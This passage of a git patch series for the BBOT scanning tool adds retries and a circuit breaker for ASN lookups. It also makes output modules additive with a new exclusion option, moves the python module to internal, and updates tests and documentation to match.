e: + last_error = e + log.warning(f"ASN resolution attempt {attempt}/{self.MAX_RETRIES} failed for AS{self.data}: {e}") + if attempt < self.MAX_RETRIES: + await asyncio.sleep(self.RETRY_DELAY) + + from bbot.errors import ASNResolutionError + + raise ASNResolutionError(f"AS{self.data}: {last_error}") @staticmethod def handle_match(match): diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index 055970a647..34270e70df 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -19,9 +19,13 @@ class ASNHelper: "country": "Unknown", } + FAILURE_THRESHOLD = 5 + def __init__(self, parent_helper): self.parent_helper = parent_helper self._client = None + self._consecutive_failures = 0 + self._circuit_broken = False @property def client(self): @@ -45,17 +49,34 @@ def _normalize(self, response): "country": response.get("country") or "", } + def _record_failure(self): + self._consecutive_failures += 1 + if self._consecutive_failures >= self.FAILURE_THRESHOLD and not self._circuit_broken: + self._circuit_broken = True + log.critical( + "ASN lookups disabled for the rest of this scan after %d consecutive failures. " + "The bbot.io ASN API could not be reached (this may be due to regional network restrictions). " + "ASN enrichment data will not be available.", + self.FAILURE_THRESHOLD, + ) + async def ip_to_subnets(self, ip): """Return ASN info for an IP address.""" + if self._circuit_broken: + return self.UNKNOWN_ASN try: response = await self.client.lookup_ip(str(ip), include_subnets=True) except Exception as e: log.warning(f"ASN lookup failed for IP {ip}: {e}") + self._record_failure() return self.UNKNOWN_ASN + self._consecutive_failures = 0 return self._normalize(response) async def asn_to_subnets(self, asn): """Return ASN info (including subnets) for an ASN number.""" + if self._circuit_broken: + return self.UNKNOWN_ASN if isinstance(asn, str): try: asn = int(asn.lower().lstrip("as")) @@ -66,7 +87,9 @@ async def asn_to_subnets(self, asn): response = await self.client.lookup_asn(str(asn), include_subnets=True) except Exception as e: log.warning(f"ASN lookup failed for AS{asn}: {e}") + self._record_failure() return self.UNKNOWN_ASN + self._consecutive_failures = 0 return self._normalize(response) async def cleanup(self): diff --git a/bbot/errors.py b/bbot/errors.py index db295da81d..43f68b5f6f 100644 --- a/bbot/errors.py +++ b/bbot/errors.py @@ -76,3 +76,7 @@ class DNSError(BBOTEngineError): class ExcavateError(BBOTError): pass + + +class ASNResolutionError(BBOTError): + pass diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index a223e6751a..47d765069a 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -20,7 +20,7 @@ from bbot.core.multiprocess import SHARED_INTERPRETER_STATE from bbot.core.helpers.async_helpers import async_to_sync_gen from bbot.logger import log_to_stderr -from bbot.errors import BBOTError, ScanError, ValidationError +from bbot.errors import ASNResolutionError, BBOTError, ScanError, ValidationError from bbot.constants import ( get_scan_status_code, get_scan_status_name, @@ -327,9 +327,16 @@ async def _prep(self): Expands async seed types (e.g. ASN → IP ranges), evaluates preset conditions, creates the scan's output folder, loads its modules, and calls their .setup() methods. """ - # expand async seed types (e.g. ASN → IP ranges) + # expand async seed types (e.g. ASN -> IP ranges) ssl_verify = self.preset.web_config.get("ssl_verify_infrastructure", True) - await self.preset.target.generate_children(ssl_verify=ssl_verify) + try: + await self.preset.target.generate_children(ssl_verify=ssl_verify) + except ASNResolutionError as e: + raise ScanError( + f"Failed to resolve ASN target ({e}). " + f"The bbot.io ASN API could not be reached; this may be due to regional network restrictions or a temporary outage. " + f"To scan this ASN's networks, look up its prefixes (e.g. at bgp.tools) and pass them directly: bbot -t 1.2.3.0/24 5.6.0.0/16" + ) # evaluate preset conditions (may abort the scan) if self.preset.conditions: diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index b757966bb7..b043635b90 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -1196,3 +1196,71 @@ def __init__(self, bbot_io_api_key=None, verify=True): scan2 = bbot_scanner("8.8.8.8") _ = scan2.helpers.asn.client assert captured["bbot_io_api_key"] is None + + +@pytest.mark.asyncio +async def test_asn_helper_circuit_breaker(bbot_scanner, monkeypatch): + """ASNHelper should stop making requests after consecutive failures.""" + from unittest.mock import AsyncMock, MagicMock + + import asndb + + mock_client = MagicMock() + mock_client.lookup_ip = AsyncMock(side_effect=Exception("connection refused")) + monkeypatch.setattr(asndb, "ASNDB", lambda **kw: mock_client) + + scan = bbot_scanner("8.8.8.8") + asn_helper = scan.helpers.asn + assert asn_helper.FAILURE_THRESHOLD == 5 + + # First FAILURE_THRESHOLD calls should each hit the network and return UNKNOWN_ASN + for i in range(asn_helper.FAILURE_THRESHOLD): + result = await asn_helper.ip_to_subnets(f"1.2.3.{i}") + assert result == asn_helper.UNKNOWN_ASN + assert not asn_helper._circuit_broken or i == asn_helper.FAILURE_THRESHOLD - 1 + + # Circuit should now be broken + assert asn_helper._circuit_broken + assert mock_client.lookup_ip.call_count == asn_helper.FAILURE_THRESHOLD + + # Subsequent calls should return immediately without hitting the network + for i in range(10): + result = await asn_helper.ip_to_subnets(f"5.6.7.{i}") + assert result == asn_helper.UNKNOWN_ASN + assert mock_client.lookup_ip.call_count == asn_helper.FAILURE_THRESHOLD + + +@pytest.mark.asyncio +async def test_asn_helper_circuit_breaker_resets_on_success(bbot_scanner, monkeypatch): + """A successful lookup should reset the consecutive failure counter.""" + from unittest.mock import AsyncMock, MagicMock + + import asndb + + call_count = 0 + + async def lookup_ip_side_effect(*args, **kwargs): + nonlocal call_count + call_count += 1 + if call_count <= 3: + raise Exception("connection refused") + return {"asn": 15169, "subnets": ["8.8.8.0/24"], "asn_name": "GOOGLE", "org": "Google", "country": "US"} + + mock_client = MagicMock() + mock_client.lookup_ip = AsyncMock(side_effect=lookup_ip_side_effect) + monkeypatch.setattr(asndb, "ASNDB", lambda **kw: mock_client) + + scan = bbot_scanner("8.8.8.8") + asn_helper = scan.helpers.asn + + # 3 failures + for i in range(3): + await asn_helper.ip_to_subnets(f"1.2.3.{i}") + assert asn_helper._consecutive_failures == 3 + assert not asn_helper._circuit_broken + + # 1 success should reset the counter + result = await asn_helper.ip_to_subnets("8.8.8.8") + assert result["asn"] == 15169 + assert asn_helper._consecutive_failures == 0 + assert not asn_helper._circuit_broken diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index 30786b5b62..e85a50ffc3 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -582,6 +582,53 @@ async def test_asn_event_json_serialization(bbot_scanner): assert reconstructed.data == {"asn": 12345} +@pytest.mark.asyncio +async def test_asn_resolution_failure_aborts_scan(bbot_scanner): + """When the asndb API is unreachable, the scan should abort gracefully with a helpful message.""" + from unittest.mock import AsyncMock, MagicMock, patch + + from bbot.errors import ScanError + + mock_client = MagicMock() + mock_client.lookup_asn = AsyncMock(side_effect=Exception("connection refused")) + mock_client.cleanup = AsyncMock() + + with patch("asndb.ASNDB", return_value=mock_client): + scan = bbot_scanner("ASN:15169") + with pytest.raises(ScanError, match="Failed to resolve ASN target"): + await scan._prep() + + # Should have retried 3 times + assert mock_client.lookup_asn.call_count == 3 + + +@pytest.mark.asyncio +async def test_asn_resolution_failure_retries(bbot_scanner): + """ASN resolution should succeed if a retry works after initial failures.""" + from unittest.mock import AsyncMock, MagicMock, patch + + call_count = 0 + + async def lookup_asn_side_effect(*args, **kwargs): + nonlocal call_count + call_count += 1 + if call_count < 3: + raise Exception("connection refused") + return {"asn": 15169, "subnets": ["8.8.8.0/24"]} + + mock_client = MagicMock() + mock_client.lookup_asn = AsyncMock(side_effect=lookup_asn_side_effect) + mock_client.cleanup = AsyncMock() + + with patch("asndb.ASNDB", return_value=mock_client): + scan = bbot_scanner("ASN:15169") + await scan._prep() + + # Should have succeeded on the 3rd attempt + assert call_count == 3 + assert "8.8.8.0/24" in scan.preset.target.seeds.hosts + + @pytest.mark.asyncio async def test_blacklist_regex(bbot_scanner, bbot_httpserver): from bbot.scanner.target import ScanBlacklist From 0e1a2ea825fcb42a147634d53ff6659012d21f69 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 19 Jun 2026 01:33:36 -0400 Subject: [PATCH 873/912] Make output_modules additive, move python to internal - output_modules is now always additive (defaults + explicit) - Add exclude_output_modules / -eom for removing defaults - Move python module from output/ to internal/ - Fix bake() safety check that re-added excluded defaults --- bbot/core/config/models.py | 2 ++ bbot/defaults.yml | 2 ++ bbot/modules/{output => internal}/python.py | 13 ++++--- bbot/scanner/preset/args.py | 12 ++++++- bbot/scanner/preset/preset.py | 36 +++++++++++++------ bbot/scanner/preset/validate.py | 2 +- bbot/scanner/scanner.py | 6 ++-- .../benchmarks/_scan_memory_deep_chain.py | 2 +- .../_scan_memory_parallel_chains.py | 2 +- .../benchmarks/_scan_memory_subdomain_enum.py | 2 +- .../test/benchmarks/_scan_memory_web_crawl.py | 2 +- bbot/test/test_step_1/test_cli.py | 31 ++++++++++------ .../test_manager_scope_accuracy.py | 2 +- bbot/test/test_step_1/test_modules_basic.py | 2 +- bbot/test/test_step_1/test_presets.py | 20 ++++++----- bbot/test/test_step_1/test_python_api.py | 10 ++++-- bbot/test/test_step_2/module_tests/base.py | 4 +-- docs/dev/index.md | 2 +- docs/scanning/index.md | 2 +- docs/scanning/output.md | 30 ++++++++++++++++ 20 files changed, 130 insertions(+), 54 deletions(-) rename bbot/modules/{output => internal}/python.py (58%) diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index b22cc93cde..0886fd6922 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -391,6 +391,7 @@ class BBOTConfig(BaseModel): dnsresolve: Optional[bool] = None cloudcheck: Optional[bool] = None unarchive: Optional[bool] = None + python: Optional[bool] = None # URL handling url_querystring_remove: Optional[bool] = None @@ -443,6 +444,7 @@ class PresetSchema(BaseModel): modules: Optional[list[str]] = None output_modules: Optional[list[str]] = None exclude_modules: Optional[list[str]] = None + exclude_output_modules: Optional[list[str]] = None flags: Optional[list[str]] = None require_flags: Optional[list[str]] = None exclude_flags: Optional[list[str]] = None diff --git a/bbot/defaults.yml b/bbot/defaults.yml index b28472948d..6b4294e5df 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -186,6 +186,8 @@ aggregate: True dnsresolve: True # Cloud provider tagging cloudcheck: True +# Python API event bridge +python: True # Strip querystring from URLs by default url_querystring_remove: True diff --git a/bbot/modules/output/python.py b/bbot/modules/internal/python.py similarity index 58% rename from bbot/modules/output/python.py rename to bbot/modules/internal/python.py index 346cc7e53b..70ac6394a2 100644 --- a/bbot/modules/output/python.py +++ b/bbot/modules/internal/python.py @@ -3,19 +3,20 @@ class python(BaseOutputModule): """ - Pseudo-output module backing ``Scanner.async_start()``. The scan loop + Internal module backing ``Scanner.async_start()``. The scan loop drains its incoming queue directly via ``_events_waiting`` and yields - events to the API caller — there is no real worker. + events to the API caller -- there is no real worker. - Because the worker is a no-op, we override ``queue_event`` so the - standard ``_module_consumers`` increment is skipped. Without this, + Because the worker is a no-op, we override ``_increment_consumer_count`` + so the standard ``_module_consumers`` increment is skipped. Without this, every event leaks +1 on its consumer count (worker would normally pair the increment with a ``_minimize()`` call in its ``finally`` block, but there is no worker here). The leak prevents - ``_minimize()``'s ``<= 0`` block from ever firing — bodies stay in + ``_minimize()``'s ``<= 0`` block from ever firing -- bodies stay in memory / spill files stay on disk for the entire scan. """ + _type = "internal" watched_events = ["*"] meta = {"description": "Output via Python API", "created_date": "2022-09-13", "author": "@TheTechromancer"} @@ -23,6 +24,4 @@ async def _worker(self): pass def _increment_consumer_count(self, event): - # No-op: see class docstring. The standard increment would leak - # because there's no worker to pair it with a `_minimize()` call. pass diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index b29dd09b8f..450282a479 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -159,6 +159,7 @@ def preset_from_args(self): # modules + flags args_preset.exclude_modules.update(set(self.parsed.exclude_modules)) + args_preset.exclude_output_modules.update(set(self.parsed.exclude_output_modules)) args_preset.exclude_flags.update(set(self.parsed.exclude_flags)) args_preset.require_flags.update(set(self.parsed.require_flags)) args_preset.explicit_scan_modules.update(set(self.parsed.modules)) @@ -372,7 +373,15 @@ def create_parser(self, *args, **kwargs): "--output-modules", nargs="+", default=[], - help=f"Output module(s). Choices: {','.join(sorted(self.preset.module_loader.output_module_choices))}", + help=f"Add output module(s). Choices: {','.join(sorted(self.preset.module_loader.output_module_choices))}", + metavar="MODULE", + ) + output.add_argument( + "-eom", + "--exclude-output-modules", + nargs="+", + default=[], + help="Exclude output module(s)", metavar="MODULE", ) output.add_argument("-lo", "--list-output-modules", action="store_true", help="List available output modules") @@ -440,6 +449,7 @@ def sanitize_args(self): self.parsed.modules = chain_lists(self.parsed.modules) self.parsed.exclude_modules = chain_lists(self.parsed.exclude_modules) self.parsed.output_modules = chain_lists(self.parsed.output_modules) + self.parsed.exclude_output_modules = chain_lists(self.parsed.exclude_output_modules) self.parsed.targets = chain_lists( self.parsed.targets, try_files=True, msg="Reading targets from file: {filename}", _strip_comments=True ) diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index b31e1a6160..ed9e502c6f 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -119,6 +119,7 @@ def __init__( modules=None, output_modules=None, exclude_modules=None, + exclude_output_modules=None, flags=None, require_flags=None, exclude_flags=None, @@ -147,8 +148,9 @@ def __init__( If not specified, seeds will be backfilled from target when target is defined. blacklist (list, optional): Blacklisted target(s). Takes ultimate precedence. Defaults to empty. modules (list[str], optional): List of scan modules to enable for the scan. Defaults to empty list. - output_modules (list[str], optional): List of output modules to use. Defaults to csv, human, and json. + output_modules (list[str], optional): Additional output modules to enable (additive on top of defaults). exclude_modules (list[str], optional): List of modules to exclude from the scan. + exclude_output_modules (list[str], optional): Output modules to exclude (e.g. to remove defaults). require_flags (list[str], optional): Only enable modules if they have these flags. exclude_flags (list[str], optional): Don't enable modules if they have any of these flags. module_dirs (list[str], optional): additional directories to load modules from. @@ -186,6 +188,7 @@ def __init__( # modules / flags self.modules = set() self.exclude_modules = set() + self.exclude_output_modules = set() self.flags = set() self.exclude_flags = set() self.require_flags = set() @@ -203,6 +206,10 @@ def __init__( exclude_modules = [] if isinstance(exclude_modules, str): exclude_modules = [exclude_modules] + if exclude_output_modules is None: + exclude_output_modules = [] + if isinstance(exclude_output_modules, str): + exclude_output_modules = [exclude_output_modules] if flags is None: flags = [] if isinstance(flags, str): @@ -280,6 +287,7 @@ def __init__( self.explicit_scan_modules.update(set(modules)) self.explicit_output_modules.update(set(output_modules)) self.exclude_modules.update(set(exclude_modules)) + self.exclude_output_modules.update(set(exclude_output_modules)) self.flags.update(set(flags)) self.exclude_flags.update(set(exclude_flags)) self.require_flags.update(set(require_flags)) @@ -315,7 +323,7 @@ def default_output_modules(self): if self._default_output_modules is not None: output_modules = self._default_output_modules else: - output_modules = ["python", "csv", "txt", "json"] + output_modules = ["csv", "txt", "json"] if self._cli: output_modules.append("stdout") return output_modules @@ -358,6 +366,7 @@ def merge(self, other): # modules + flags # establish requirements / exclusions first self.exclude_modules.update(other.exclude_modules) + self.exclude_output_modules.update(other.exclude_output_modules) self.require_flags.update(other.require_flags) self.exclude_flags.update(other.exclude_flags) # then it's okay to start enabling modules @@ -450,13 +459,10 @@ def bake(self, scan=None): for module in baked_preset.explicit_scan_modules: baked_preset.add_module(module, module_type="scan") - # enable output modules - output_modules_to_enable = set(baked_preset.explicit_output_modules) - default_output_modules = self.default_output_modules - output_module_override = any(m in default_output_modules for m in output_modules_to_enable) - # if none of the default output modules have been explicitly specified, enable them all - if not output_module_override: - output_modules_to_enable.update(self.default_output_modules) + # enable output modules (always additive: defaults + explicit, minus excluded) + output_modules_to_enable = set(self.default_output_modules) + output_modules_to_enable.update(baked_preset.explicit_output_modules) + output_modules_to_enable -= baked_preset.exclude_output_modules for module in output_modules_to_enable: baked_preset.add_module(module, module_type="output", raise_error=False) @@ -481,8 +487,8 @@ def bake(self, scan=None): self.log_debug(f'Enabling module "{module}" because it has flag "{flag}"') baked_preset.add_module(module, module_type, raise_error=False) - # ensure we have output modules - if not baked_preset.output_modules: + # ensure we have output modules (unless the user explicitly excluded them) + if not baked_preset.output_modules and not baked_preset.exclude_output_modules: for output_module in self.default_output_modules: baked_preset.add_module(output_module, module_type="output", raise_error=False) @@ -739,6 +745,7 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): modules=preset_dict.get("modules"), output_modules=preset_dict.get("output_modules"), exclude_modules=preset_dict.get("exclude_modules"), + exclude_output_modules=preset_dict.get("exclude_output_modules"), flags=preset_dict.get("flags"), require_flags=preset_dict.get("require_flags"), exclude_flags=preset_dict.get("exclude_flags"), @@ -896,6 +903,8 @@ def to_dict(self, include_target=False, full_config=False, redact_secrets=False) preset_dict["exclude_flags"] = sorted(self.exclude_flags) if self.exclude_modules: preset_dict["exclude_modules"] = sorted(self.exclude_modules) + if self.exclude_output_modules: + preset_dict["exclude_output_modules"] = sorted(self.exclude_output_modules) if self.flags: preset_dict["flags"] = sorted(self.flags) if self.explicit_scan_modules: @@ -1027,6 +1036,11 @@ def validate(self): raise ValidationError( get_closest_match(excluded_module, self.module_loader.all_module_choices, msg="module") ) + for excluded_module in self.exclude_output_modules: + if excluded_module not in self.module_loader.output_module_choices: + raise ValidationError( + get_closest_match(excluded_module, self.module_loader.output_module_choices, msg="output module") + ) # validate declared module names so typos fail early for scan_module in self.explicit_scan_modules: self._is_valid_module(scan_module, "scan", name_only=True) diff --git a/bbot/scanner/preset/validate.py b/bbot/scanner/preset/validate.py index afed983899..81d8e86fc3 100644 --- a/bbot/scanner/preset/validate.py +++ b/bbot/scanner/preset/validate.py @@ -275,7 +275,7 @@ def validate_preset(preset_dict: Any, module_loader=None) -> list[PresetValidati # nested mapping). Check them explicitly, with the same closest-match hint. # Skip non-list values; the schema pass above already flagged the type error, # and iterating a string here would yield bogus per-character lookups. - for key in ("modules", "output_modules", "exclude_modules"): + for key in ("modules", "output_modules", "exclude_modules", "exclude_output_modules"): value = preset_dict.get(key) if not isinstance(value, list): continue diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index a223e6751a..239a1b09c8 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -397,9 +397,9 @@ async def _prep(self): intercept_module._incoming_event_queue = interqueue prev_intercept_module._outgoing_event_queue = interqueue - # abort if there are no output modules + # abort if there are no output modules (unless the user explicitly excluded them) num_output_modules = len([m for m in self.modules.values() if m._type == "output"]) - if num_output_modules < 1: + if num_output_modules < 1 and not self.preset.exclude_output_modules: raise ScanError("Failed to load output modules. Aborting.") # abort if any of the module .setup()s hard-failed (i.e. they errored or returned False) total_failed = len(hard_failed + soft_failed) @@ -563,7 +563,7 @@ async def _mark_finished(self): if not self._stopping: # queue final scan event with output modules - output_modules = [m for m in self.modules.values() if m._type == "output" and m.name != "python"] + output_modules = [m for m in self.modules.values() if m._type == "output"] for m in output_modules: await m.queue_event(scan_finish_event) # wait until output modules are flushed diff --git a/bbot/test/benchmarks/_scan_memory_deep_chain.py b/bbot/test/benchmarks/_scan_memory_deep_chain.py index c12c32a028..0eaa01aee2 100644 --- a/bbot/test/benchmarks/_scan_memory_deep_chain.py +++ b/bbot/test/benchmarks/_scan_memory_deep_chain.py @@ -80,7 +80,7 @@ def log_message(self, *a): scan = Scanner( f"http://127.0.0.1:{port}/", modules=[HTTP_MODULE], - output_modules=["python"], + exclude_output_modules=["csv", "json", "txt"], config={ "dns": {"minimal": True}, "scope": {"search_distance": 0}, diff --git a/bbot/test/benchmarks/_scan_memory_parallel_chains.py b/bbot/test/benchmarks/_scan_memory_parallel_chains.py index 50a15d65b5..22494aac8b 100644 --- a/bbot/test/benchmarks/_scan_memory_parallel_chains.py +++ b/bbot/test/benchmarks/_scan_memory_parallel_chains.py @@ -87,7 +87,7 @@ def log_message(self, *a): scan = Scanner( *targets, modules=[HTTP_MODULE], - output_modules=["python"], + exclude_output_modules=["csv", "json", "txt"], config={ "dns": {"minimal": True}, "scope": {"search_distance": 0}, diff --git a/bbot/test/benchmarks/_scan_memory_subdomain_enum.py b/bbot/test/benchmarks/_scan_memory_subdomain_enum.py index 55b456e044..b84b8cff9a 100644 --- a/bbot/test/benchmarks/_scan_memory_subdomain_enum.py +++ b/bbot/test/benchmarks/_scan_memory_subdomain_enum.py @@ -30,7 +30,7 @@ scan = Scanner( "example.com", modules=[], - output_modules=["python"], + exclude_output_modules=["csv", "json", "txt"], config={ "dns": {"disable": True}, "scope": {"search_distance": 0}, diff --git a/bbot/test/benchmarks/_scan_memory_web_crawl.py b/bbot/test/benchmarks/_scan_memory_web_crawl.py index fd4a9e6a06..a7ca72b7ec 100644 --- a/bbot/test/benchmarks/_scan_memory_web_crawl.py +++ b/bbot/test/benchmarks/_scan_memory_web_crawl.py @@ -65,7 +65,7 @@ def log_message(self, *a): scan = Scanner( f"http://127.0.0.1:{port}/", modules=[HTTP_MODULE], - output_modules=["python"], + exclude_output_modules=["csv", "json", "txt"], config={ "dns": {"minimal": True}, "scope": {"search_distance": 0}, diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index 0e9d3f909e..9979083a1f 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -322,44 +322,55 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config): assert "| dnsbrute " not in out assert "| http " in out - # output modules override + # -om is additive (defaults stay) caplog.clear() assert not caplog.text monkeypatch.setattr("sys.argv", ["bbot", "-om", "csv,json", "-y"]) result = await cli._main() assert result is True - assert "Loaded 2/2 output modules, (csv,json)" in caplog.text + assert "Loaded 4/4 output modules, (csv,json,stdout,txt)" in caplog.text caplog.clear() monkeypatch.setattr("sys.argv", ["bbot", "-em", "csv,json", "-y"]) result = await cli._main() assert result is True - assert "Loaded 3/3 output modules, (python,stdout,txt)" in caplog.text + assert "Loaded 2/2 output modules, (stdout,txt)" in caplog.text - # output modules override + # -om adds non-default module on top of defaults caplog.clear() assert not caplog.text monkeypatch.setattr("sys.argv", ["bbot", "-om", "subdomains", "-y"]) result = await cli._main() assert result is True - assert "Loaded 6/6 output modules, (csv,json,python,stdout,subdomains,txt)" in caplog.text + assert "Loaded 5/5 output modules, (csv,json,stdout,subdomains,txt)" in caplog.text - # internal modules override + # -eom removes output modules + caplog.clear() + assert not caplog.text + monkeypatch.setattr("sys.argv", ["bbot", "-eom", "csv,txt", "-y"]) + result = await cli._main() + assert result is True + assert "Loaded 2/2 output modules, (json,stdout)" in caplog.text + + # internal modules (python is now internal) caplog.clear() assert not caplog.text monkeypatch.setattr("sys.argv", ["bbot", "-y"]) result = await cli._main() assert result is True - assert "Loaded 6/6 internal modules (aggregate,cloudcheck,dnsresolve,excavate,speculate,unarchive)" in caplog.text + assert ( + "Loaded 7/7 internal modules (aggregate,cloudcheck,dnsresolve,excavate,python,speculate,unarchive)" + in caplog.text + ) caplog.clear() monkeypatch.setattr("sys.argv", ["bbot", "-em", "excavate", "speculate", "-y"]) result = await cli._main() assert result is True - assert "Loaded 4/4 internal modules (aggregate,cloudcheck,dnsresolve,unarchive)" in caplog.text + assert "Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,python,unarchive)" in caplog.text caplog.clear() monkeypatch.setattr("sys.argv", ["bbot", "-c", "speculate=false", "-y"]) result = await cli._main() assert result is True - assert "Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,excavate,unarchive)" in caplog.text + assert "Loaded 6/6 internal modules (aggregate,cloudcheck,dnsresolve,excavate,python,unarchive)" in caplog.text # custom target type out, err = capsys.readouterr() @@ -631,7 +642,7 @@ def test_cli_module_validation(monkeypatch, caplog): monkeypatch.setattr("sys.argv", ["bbot", "-om", "websocket", "-c", "modules.websocket.url=", "-y"]) cli.main() lines = caplog.text.splitlines() - assert "Loaded 6/6 output modules, (csv,json,python,stdout,txt,websocket)" in caplog.text + assert "Loaded 5/5 output modules, (csv,json,stdout,txt,websocket)" in caplog.text assert 1 == len( [ l diff --git a/bbot/test/test_step_1/test_manager_scope_accuracy.py b/bbot/test/test_step_1/test_manager_scope_accuracy.py index 240a97be6b..fb6b5c4c95 100644 --- a/bbot/test/test_step_1/test_manager_scope_accuracy.py +++ b/bbot/test/test_step_1/test_manager_scope_accuracy.py @@ -540,7 +540,7 @@ def custom_setup(scan): "127.0.0.33", seeds=["127.0.0.111/31"], modules=["http"], - output_modules=["python"], + exclude_output_modules=["csv", "json", "txt"], _config={ "dns": {"minimal": False, "search_distance": 2}, "scope": {"search_distance": 0, "report_distance": 0}, diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index 10577b5856..60e4080714 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -432,7 +432,7 @@ async def handle_event(self, event): scan = bbot_scanner( "evilcorp.com", config={"speculate": True, "dns": {"minimal": False}}, - output_modules=["python"], + exclude_output_modules=["csv", "json", "txt"], force_start=True, ) diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 504fe32993..4c4d0c0377 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -241,10 +241,12 @@ async def test_preset_scope(clean_default_config): assert not preset1_baked.in_scope("evilcorp.com") assert not preset1_baked.in_scope("asdf.test.www.evilcorp.ce") - preset4 = Preset(output_modules="neo4j") - set(preset1.output_modules) == {"python", "csv", "txt", "json", "stdout"} + preset4 = Preset(output_modules=["neo4j"]) preset1.merge(preset4) - set(preset1.output_modules) == {"python", "csv", "txt", "json", "stdout", "neo4j"} + merged_baked = preset1.validate().bake() + assert "neo4j" in merged_baked.output_modules + for default in ("csv", "txt", "json"): + assert default in merged_baked.output_modules # test preset merging + seeds/target interaction @@ -511,10 +513,11 @@ async def test_preset_module_resolution(clean_default_config): # make sure we have the expected defaults assert not preset.scan_modules - assert set(preset.output_modules) == {"python", "csv", "txt", "json"} + assert set(preset.output_modules) == {"csv", "txt", "json"} assert set(preset.internal_modules) == { "aggregate", "excavate", + "python", "unarchive", "speculate", "cloudcheck", @@ -973,13 +976,14 @@ async def test_preset_module_disablement(clean_default_config): assert "excavate" not in preset.internal_modules assert "aggregate" in preset.internal_modules - # internal module disablement + # output module disablement preset = Preset().validate().bake() - assert set(preset.output_modules) == {"python", "txt", "csv", "json"} + assert set(preset.output_modules) == {"txt", "csv", "json"} preset = Preset(exclude_modules=["txt", "csv"]).validate().bake() - assert set(preset.output_modules) == {"python", "json"} - preset = Preset(output_modules=["json"]).validate().bake() assert set(preset.output_modules) == {"json"} + # output_modules is additive, so specifying json still includes defaults + preset = Preset(output_modules=["subdomains"]).validate().bake() + assert set(preset.output_modules) == {"csv", "txt", "json", "subdomains"} async def test_preset_override(clean_default_config): diff --git a/bbot/test/test_step_1/test_python_api.py b/bbot/test/test_step_1/test_python_api.py index ec2520783b..1b3ce237fc 100644 --- a/bbot/test/test_step_1/test_python_api.py +++ b/bbot/test/test_step_1/test_python_api.py @@ -49,11 +49,15 @@ async def test_python_api(clean_default_config): await scan4._prep() assert os.environ["BBOT_TOOLS"] == str(Path(bbot_home) / "tools") - # output modules override + # output modules are additive scan5 = Scanner() - assert set(scan5.preset.output_modules) == {"csv", "json", "python", "txt"} + assert set(scan5.preset.output_modules) == {"csv", "json", "txt"} + # adding json is a no-op (already a default), defaults stay scan6 = Scanner(output_modules=["json"]) - assert set(scan6.preset.output_modules) == {"json"} + assert set(scan6.preset.output_modules) == {"csv", "json", "txt"} + # use exclude_output_modules to remove defaults + scan6b = Scanner(exclude_output_modules=["csv", "txt"]) + assert set(scan6b.preset.output_modules) == {"json"} # custom target types custom_target_scan = Scanner("ORG:evilcorp") diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py index c583d948ae..e1d8c8afe4 100644 --- a/bbot/test/test_step_2/module_tests/base.py +++ b/bbot/test/test_step_2/module_tests/base.py @@ -41,9 +41,8 @@ def __init__( self.preloaded = DEFAULT_PRESET.module_loader.preloaded() # handle output, internal module types - output_modules = None + output_modules = [] modules = list(module_test_base.modules) - output_modules = ["python"] for module in list(modules): module_type = self.preloaded[module]["type"] if module_type in ("internal", "output"): @@ -59,6 +58,7 @@ def __init__( *module_test_base.targets, modules=modules, output_modules=output_modules, + exclude_output_modules=["csv", "json", "txt"], scan_name=module_test_base._scan_name, config=self.config, seeds=seeds, diff --git a/docs/dev/index.md b/docs/dev/index.md index 699c5799c8..49aa74df23 100644 --- a/docs/dev/index.md +++ b/docs/dev/index.md @@ -68,7 +68,7 @@ For more details, including which types of targets are valid, see [Targets](../s #### Other Custom Options -In many cases, using a [Preset](../scanning/presets.md) like `subdomain-enum` is sufficient. However, the `Scanner` is flexible and accepts many other arguments that can override the default functionality. You can specify [`flags`](../scanning/index.md#flags-f), [`modules`](../scanning/index.md#modules-m), [`output_modules`](../output.md), a [target list / `seeds` / `blacklist`](../scanning/index.md#targets-seeds-and-blacklists), and custom [`config` options](../scanning/configuration.md): +In many cases, using a [Preset](../scanning/presets.md) like `subdomain-enum` is sufficient. However, the `Scanner` is flexible and accepts many other arguments. You can specify [`flags`](../scanning/index.md#flags-f), [`modules`](../scanning/index.md#modules-m), [`output_modules`](../output.md) (additive on top of defaults), a [target list / `seeds` / `blacklist`](../scanning/index.md#targets-seeds-and-blacklists), and custom [`config` options](../scanning/configuration.md): ```python # create a scan against multiple targets diff --git a/docs/scanning/index.md b/docs/scanning/index.md index 